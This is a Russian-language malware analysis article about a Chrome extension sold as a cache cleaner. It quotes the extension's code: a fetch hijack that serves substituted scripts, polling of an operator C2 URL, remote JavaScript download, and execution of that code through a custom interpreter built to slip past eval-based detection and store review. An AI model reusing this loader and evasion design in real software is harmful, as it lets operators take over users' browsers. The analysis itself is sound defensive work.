AI «Мастер очистки: лучший очиститель кэша Chrome» — разбор вредоносного расширения Chrome

[AI]

Введение


Расширения браузера давно стали одной из самых удобных и недооценённых точек атаки. Пользователь добровольно устанавливает код, который:

• 
  работает постоянно;
  
  
• 
  обновляется без ведома пользователя;
  
  
• 
  имеет доступ к сетевым запросам, страницам и хранилищу браузера;
  
  
• 
  исполняется в доверенном контексте.
  

В этой статье разобрано расширение «Мастер очистки: лучший очиститель кэша Chrome», позиционируемое как расширение в браузере для очистки, но по факту реализующее классическую вредоносную архитектуру, включающую:

• 
  удалённое управление (C2);
  
  
• 
  динамическую подгрузку кода;
  
  
• 
  выполнение JavaScript, полученного с сервера;
  
  
• 
  подмену сетевых запросов (man-in-the-browser);
  
  
• 
  криптографическую маскировку;
  
  
• 
  обфускацию и сокрытие логики от анализа.
  

Общая архитектура расширения


В background-контексте (service worker) сразу бросается в глаза следующая конструкция:

importScripts(
'/background/encrypt-bundle.js',
'/background/interpreter.js'
);
Что это означает

• 
  код разделён на модули;
  
  
• 
  присутствует кастомный интерпретатор;
  
  
• 
  отсутствует прямой eval, что затрудняет статический анализ.
  

Это типичный приём вредоносного ПО, позволяющий:

• 
  загружать код динамически;
  
  
• 
  исполнять его в обход простых сигнатур;
  
  
• 
  скрывать реальную логику от ревью.
  

Ключ хранения и маскировка


const key = 'fuck';
let runOnce = !1, fuckDataArr;

Особенности:

• 
  ключ в chrome.storage называется fuck;
  
  
• 
  основной массив данных — fuckDataArr.
  

Это не случайность, а осознанная маскировка:

• 
  ухудшение читаемости;
  
  
• 
  снижение шансов на ручной аудит;
  
  
• 
  демонстративное игнорирование поддержки и легитимности.
  

Перехват сетевых запросов (Fetch Hijacking)


self.addEventListener('fetch', e => {
if (fuckDataArr) {
const n = e.request;
var t = fuckDataArr.find(
e => chrome.runtime.getURL(e.proxy_url) === n.url
);
if (t) {
const r = new Headers();
t.type === 'css'
? r.set('Content-Type', 'text/css')
: r.set('Content-Type', 'text/javascript');

e.respondWith(
new Response(t.src_str, { headers: r })
);
}
}
});
Что здесь происходит

• 
  service worker перехватывает все fetch-запросы;
  
  
• 
  если URL совпадает с proxy_url, возвращается подменённый ресурс;
  
  
• 
  контент может быть JS или CSS.
  

Возможности атаки

• 
  внедрение JS/CSS в любые страницы;
  
  
• 
  подмена ресурсов без ведома пользователя;
  
  
• 
  полноценная man-in-the-browser атака;
  
  
• 
  обход CSP и сетевых политик.
  

Динамическая загрузка команд с сервера (C2)


const xxx = async () => {
let e = await get(key);

if (!e || !e.nextUpdateTime || e.nextUpdateTime < Date.now()) {
const t = await fetch(
'https://api.extensionplay.com/clean_master/t.json?t=' + Date.now()
).then(e => e.json());
Критический момент


Расширение регулярно обращается к удалённому серверу:

https://api.extensionplay.com/clean_master/t.json

И получает JSON с командами, полностью контролируемый оператором.

Загрузка удалённого JavaScript


await Promise.all(
t.map(r =>
new Promise((resolve, reject) => {
if (!r.src_str && r.src) {
const n = new URL(r.src);
n.searchParams.set('t', Date.now());

fetch(n.toString())
.then(e => e.ok && e.text())
.then(e => e && (r.src_str = e))
.then(resolve)
.catch(reject);
} else resolve();
})
)
);
Что это значит

• 
  сервер передаёт URL скрипта;
  
  
• 
  расширение скачивает код в рантайме;
  
  
• 
  сохраняет его в памяти / storage;
  
  
• 
  код отсутствует в пакете расширения.
  

Выполнение удалённого кода через интерпретатор


e.data.forEach(e => {
if (Array.isArray(e.run_on)) {
if (!e.run_on.includes('bg')) return;
} else if (e.run_on !== 'bg') return;

e.src_str && interpreter.run(
e.src_str,
globalThis || self || window || {}
);
});
Ключевые моменты

• 
  выполняется любой JavaScript, полученный с сервера;
  
  
• 
  выполнение идёт в background-контексте;
  
  
• 
  используется кастомный interpreter.run.
  

Это удалённое выполнение кода (RCE) внутри расширения.

Межпроцессное управление


chrome.runtime.onMessage.addListener((r, e, s) => {
return get(key)
.then(e => {
const t = e && e.data || [];
const n = r.run_on;

s(t.filter(e => {
if (Array.isArray(e.run_on))
return e.run_on.includes;
return e.run_on === n;
}));
})
.catch(() => {});
return true;
});

Назначение

• 
  content-script’ы получают команды;
  
  
• 
  централизованное управление поведением;
  
  
• 
  динамическое включение функций.
  

Кастомный JavaScript‑интерпретатор вместо eval


В расширении присутствует объёмный скомпилированный модуль, экспортируемый как interpreter, начинающийся с конструкции UMD:

!function(t,e){
"object"==typeof exports&&"object"==typeof module
? module.exports=e()
: "function"==typeof define&&define.amd
? define([],e)
: "object"==typeof exports
? exports.interpreter=e()
: t.interpreter=e()
}(self,function(){ ... })


Этот код не является частью бизнес‑логики расширения.
Это полноценный интерпретатор JavaScript, включающий:

• 
  собственную реализацию Scope, ScopeVar, PropVar;
  
  
• 
  поддержку var / let / const;
  
  
• 
  управление областями видимости;
  
  
• 
  работу с this, module, exports;
  
  
• 
  парсинг AST через acorn (ecmaVersion: 5);
  
  
• 
  ручной обход и выполнение синтаксического дерева.
  

Что именно происходит


Функция выполнения выглядит следующим образом:

e.run = function(code) {
const scope = new Scope("block");
scope.$const("this", this);

const module = {};
scope.$const("module", { exports: module });
scope.$const("exports", module);

execute(parse(code), scope);

return scope.$find("module").$get().exports;
};

То есть:

• 
  JavaScript не исполняется напрямую;
  
  
• 
  код сначала парсится в AST;
  
  
• 
  затем интерпретируется вручную;
  
  
• 
  выполняется в полностью контролируемом контексте.
  

Зачем вредоносному расширению собственный интерпретатор


Использование такого механизма не имеет ни одного легитимного применения в утилите очистки кэша.

Он нужен для:

• 
  Обхода детектирования
  
  • 
    отсутствует eval, new Function, setTimeout(code)
    
    
  • 
    сигнатурные анализаторы не видят RCE
    
• 
  Обхода ревью Chrome Web Store
  
  • 
    код в пакете «безопасный»
    
    
  • 
    реальная логика загружается и исполняется позже
    
• 
  Динамического исполнения payload’ов
  
  • 
    сервер передаёт любой JS
    
    
  • 
    он выполняется даже при жёстких CSP
    
• 
  Изоляции и контроля среды
  
  • 
    оператор решает, какие глобальные объекты доступны
    
    
  • 
    можно подменять window, fetch, document, chrome
    

Признак вредоносной платформы


Подобная архитектура характерна для:

• 
  браузерных ботнетов;
  
  
• 
  ad‑fraud платформ;
  
  
• 
  click‑inject сетей;
  
  
• 
  скрытых прокси / MITB‑инжекторов;
  
  
• 
  malware‑loader’ов.
  

Ни одно легитимное расширение не реализует собственный JS‑движок.

Криптографическая маскировка (AES)


В расширении используется browserify-bundle библиотеки crypto-js.

Ключевая часть:

const CryptoJS = require("crypto-js");

exports.encode = function(data, key) {
return CryptoJS.AES.encrypt(
data,
CryptoJS.enc.Utf8.parse(key),
{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}
).toString();
};
Характеристики шифрования

Параметр​	Значение​
Алгоритм​	AES​
Режим​	ECB​
Padding​	PKCS7​
Формат​	Base64​

Почему это важно

• 
  AES-ECB не используется для безопасности;
  
  
• 
  он используется для:
  
  • 
    сокрытия конфигураций;
    
    
  • 
    шифрования команд;
    
    
  • 
    маскировки payload’ов;
    
    
  • 
    обхода статического анализа.
    

Зачем вредоносному расширению криптография

1. Сокрытие C2-логики


Команды и конфигурации:

• 
  хранятся зашифрованными;
  
  
• 
  дешифруются только в рантайме.
  

2. Маскировка сетевого трафика


DPI и сигнатуры не видят JSON или JS.

3. Динамическая доставка кода


сервер

AES

C2

payload

decrypt

interpreter.run()

Код:

• 
  отсутствует в Chrome Web Store;
  
  
• 
  появляется после установки;
  
  
• 
  полностью контролируется оператором.
  

Итоговая архитектура

Итоговая архитектура
Вывод


Расширение «Мастер очистки: лучший очиститель кэша Chrome» — это:

не баг
не небрежный код
не «сомнительная оптимизация»

Это полноценная вредоносная платформа, обладающая:

• 
  удалённым центром управления;
  
  
• 
  механизмом доставки и исполнения команд;
  
  
• 
  подменой сетевого трафика;
  
  
• 
  криптографической маскировкой;
  
  
• 
  сокрытием логики от анализа;
  
  
• 
  полной независимостью от обновлений Chrome Web Store.
  

Функциональность расширения может быть изменена в любой момент, и пользователь не имеет над этим никакого контроля.